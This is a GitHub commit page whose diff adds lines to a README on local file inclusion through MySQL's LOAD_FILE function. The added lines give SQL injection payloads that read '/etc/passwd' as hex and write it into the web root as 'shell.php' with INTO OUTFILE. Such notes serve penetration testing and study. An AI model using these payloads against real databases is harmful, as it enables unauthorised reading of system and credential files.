Skip to content

Commit

Permalink
Update README.md
Browse files Browse the repository at this point in the history
  • Loading branch information
kleiton0x00 authored Sep 4, 2022
1 parent 4f142ed commit 4fec7a5
Showing 1 changed file with 10 additions and 0 deletions.
10 changes: 10 additions & 0 deletions LFI-via-load_file-function/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -25,3 +25,13 @@ Just like normal LFI, it is possible to convert the content of the file in base6
```sql
TO_base64(LOAD_FILE('/var/www/html/index.php'))
```

You can also use **hex()** function in configuration files especially, when some characters are non-readable and might break the execution of the query:
```sql
hex(load_file('/etc/passwd'))
```

It is possible to read the content of the file and copy it somewhere else where it's accessible to read:
```
load_file('/etc/passwd') INTO OUTFILE '/var/www/html/shell.php'--
```

0 comments on commit 4fec7a5

Please sign in to comment.